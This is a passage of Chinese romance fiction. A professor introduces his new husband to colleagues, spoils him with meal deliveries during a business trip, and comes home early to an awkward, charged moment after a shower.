几个同事和学生看到唐灼旁边站着的男人,都愣了片刻,唐教授在学校虽然总是一副沉稳、温和的模样,又因为相貌出众,刚来的时候免不了被人惦记。 这是第一次看到唐教授身边有其他人,不仅年轻,长相更是让人挪不开眼,两人在一起真是令人赏心悦目。 顾辞安看着众人的神情便知道了,唐灼应该没有公开他已婚的消息,是个意外。 或许唐灼并没有想把他们的关系公之于众,顾辞安微笑着点头,算是打过招呼。 王院长是个随和的性子,也从没什么领导的架子,私下大家关系都很好,调侃中带着疑问说:“小唐啊,这位是?” 唐灼语气平和,没有丝毫掩饰的意味:“王院长,这是顾辞安,我爱人,前不久刚结婚,没来得及和大家说。” 听到“爱人”二字的时候,顾辞安眸光亮了几分。 在他心里,这两个字远比任何称谓都来得郑重、虔诚。 尤其在文字的世界里,爱人从不是随口的称呼,而是藏在心底的尊称,是把人妥帖安放于心尖的存在,是比伴侣更深沉、比喜欢更郑重的情感。 不能想太深,应该只是唐教授的习惯,他习惯这么称呼。 既然唐灼都这么介绍了,他也不必扭捏,便大大方方站在那儿,礼貌回应:“各位老师好。” 几个学生听唐教授竟然就这样结婚了,不免有些许惊讶。 王院长身后一个姑娘露出的失落,指尖泛白紧握着书包的肩带,恰好被顾辞安尽收眼底。 其中一个似乎和唐灼关系不错的老师调侃道:“诶呦,看来有不少人要伤心了呢。” 他转向顾辞安:“唐教授在我们学校那是香饽饽,不过他本人有个外号‘工程院高岭之花’,看来是被人拿下了。” “行了,他脸皮薄。” “哎哟哟,这就护上了,平时和你开几句玩笑可不见你这么着。” 众人揶揄,顾辞安心想,今天温度也不高,怎么热得慌。 大家说了几句,时间差不多,准备进候机厅了。 唐灼走的时候低头在顾辞安耳边说了句什么,顾辞安没听清,风有些大,吹散了许多,呼在耳边的热气久久却没有散去。 顾辞安开车返回的路上还在回忆,说了什么呢,好像是向他解释说平时他们就这样聊天,让他别在意,又好像说了句有什么事情联系他,等他回来。 能有什么事呢,这么大人了,虽说唐灼大他好几岁,确实有点长辈的感觉,但顾辞安是个幼时就学会独立的人,自知靠人不如靠己,也明白尽量少给他人带去麻烦的道理。 明明之前好几年都是自己一个人住的,早已习惯,可唐灼走的这几天顾辞安竟有些不习惯。 屋子没了人气儿,没了声响,没了饭香。 这几天唐灼倒是有空就会给他发消息,打电话,并不频繁,都是饭点问他一句吃什么之类的,晚上睡前会互道晚安。 铃声响的时候,顾辞安正窝在沙发上睡觉,脸颊旁边压着半开的书,印了满脸红印。 “喂……” 唐灼听着顾辞安迷迷糊糊的声音,松了口气:“睡着了?我给你发消息没回。” “我……没听到。”顾辞安还没醒过来,声音轻飘飘的,闭着眼把手机放在一旁,。 “没吃饭。” “嗯,一会儿点个外卖吧。唐教授,你吃了吗。” “吃了,外卖我给你点吧,别总吃些没营养的,不健康。”唐灼知道顾辞安肯定自己的话,就是瞎凑合着吃,舍不得给自己点贵的。 “没事,我自己点就行了。”连饭都得唐教授买,那属实有点过分了。 “听话,这两天我不在,外卖会定点送过去,早饭起不来就放门外,你醒了之后热热再吃。”唐灼态度坚定,没有一丝能商量的余地。 “……好,谢谢唐教授。” “嗯?” “我……知道了。” 听到这,唐灼总算满意,说:“好,那我先去忙了。” 大概过了半小时,外卖到了,顾辞安看着满满当当的便当盒,袋子上的logo他认识,是沐城有名的私房菜馆,没有外卖,不知道唐教授是怎么定到的。 这一餐下来,抵得上顾辞安好几天的伙食费,他吃的小心翼翼,不敢浪费一点,剩下的也没扔,整理好后放冰箱准备下顿再吃。 然而,接下来的几天,早中晚三餐,全是这家的,每一次都有不同的菜系,每一次他都吃不完。 顾辞安看着塞了满满当当的冰箱,皱了皱眉,犹豫片刻,还是拿出手机拍了张照片。 【辞安:图片】 【辞安:唐教授,不能再点了,快吃不下了,剩下这么多,太浪费了。】 几乎是下一秒,电话来了,是唐灼:“辞安,剩下的放冰箱久了会产生化学物质,容易吃坏肚子。” “可,可是每次都剩下,这家店这么贵,扔了多可惜。” “那我就少点点儿,把这些处理掉,好吗?” 顾辞安感到钱袋子里面好像有个无底洞,他替唐灼肉疼,但不得不承认,唐灼说的没错,最终还是答应了。 在几天的大鱼大肉下,顾辞安的脸都圆润了不少 这次出差还算顺利,比预计的时间足足提前了一天。 中午唐灼和王院长、几个同事还有项目负责人李工吃了顿简餐。 桌上大家问锦城有没有什么好玩儿的地方。 李工是当地人,熟络热情地介绍说:“我们锦城历史比较悠久,尤其多古建筑,比如东城的老城区,西城的锦绣阁,热闹的话,年轻人比较喜欢去城中心的云锦大街,那边有商场、小吃街和打卡的建筑,都挺不错的。” 唐灼有些感兴趣,他知道很多作者一年中会抽出或长或短的时间去采风,寻找灵感,也会从市井街巷中探寻看似寻常,却贯穿某人一生的故事。 他感兴趣地问:“李工,哪里烟火气足些?” “那肯定是老城区了,唐教授想去的话,下午正好没事,我带您去吧。” 唐灼觉得有个当地人当向导会方便很多,便 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走在纵横交错的青石板路上,道路旁还有一条蜿蜒曲折的沟壑,潺潺流水裹挟着春的气息流过家家户户的门前。 顾辞安应该会很喜欢这里,下次有机会可以带他一起。 唐灼这一路算是收获颇丰,买了不少东西。 李工笑着说:“唐教授很喜欢购物啊。” “看着有意思,给我爱人买些回去新鲜新鲜。”提到爱人,唐灼的语气比方才的任何一句都软了不少。 “唐教授和您爱人感情很好,下次有机会一起来,我做东。” “那就麻烦李工了。”唐灼客气回复。 东西太多,没法带,最终还是选择了快递,手里只拿了个酒色的手提袋。 这次工作进展得还算顺利,早早买了票就坐上了返程的航班,过去也经常出差,只是第一次有归心似箭的感觉。 飞机落地已经是晚上,同事顺路把唐灼送回来,站在楼下、抬头,那层楼的窗户好像有了温度,暖色的灯光夹杂在家家户户中,是独属唐灼的,是归处。 顾辞安关上淋浴准备穿衣服,突然发现自己忘了把睡衣拿进浴室,反正唐教授不在,抬手从架子上拿浴巾随意往腰间一裹,拉开浴室门。 可门刚一开,就迎面撞上推门而入的唐灼,四目相对的瞬间,两人都愣了。 顾辞安像被钉在原地,浑身僵住,声音都带着不易察觉的微颤:“唐、唐教授?你……回来了。” 唐灼提着袋子的手指猛地收紧。眼前人只松松裹着一条浴巾,发梢的水珠顺着颈侧滑落,滴在泛红的锁骨上,又往下坠去。 他喉结克制地滚了滚,视线几乎要挪不开。 再这样下去,他怕自己装不下去那副温和淡定的模样,努力压制片刻,才缓缓吐出:“嗯,提前结束就回来了。” 顾辞安慌得手足无措,却没看见唐灼眼底翻涌的情绪,连忙解释:“我、我忘记拿衣服了,我先回去换上。”话音未落就慌不择路回了卧室。 主卧门“咔嗒”一声关上,唐灼才缓缓吐出一口浊气。他从冰箱里拿出一瓶冰水,拧开瓶盖仰头狠狠灌下半瓶,冰凉的液体滑过喉咙,却依旧压不下心底翻涌的燥热。 顾辞安到底知不知道,这样毫无防备地站在他面前,有多让人失控。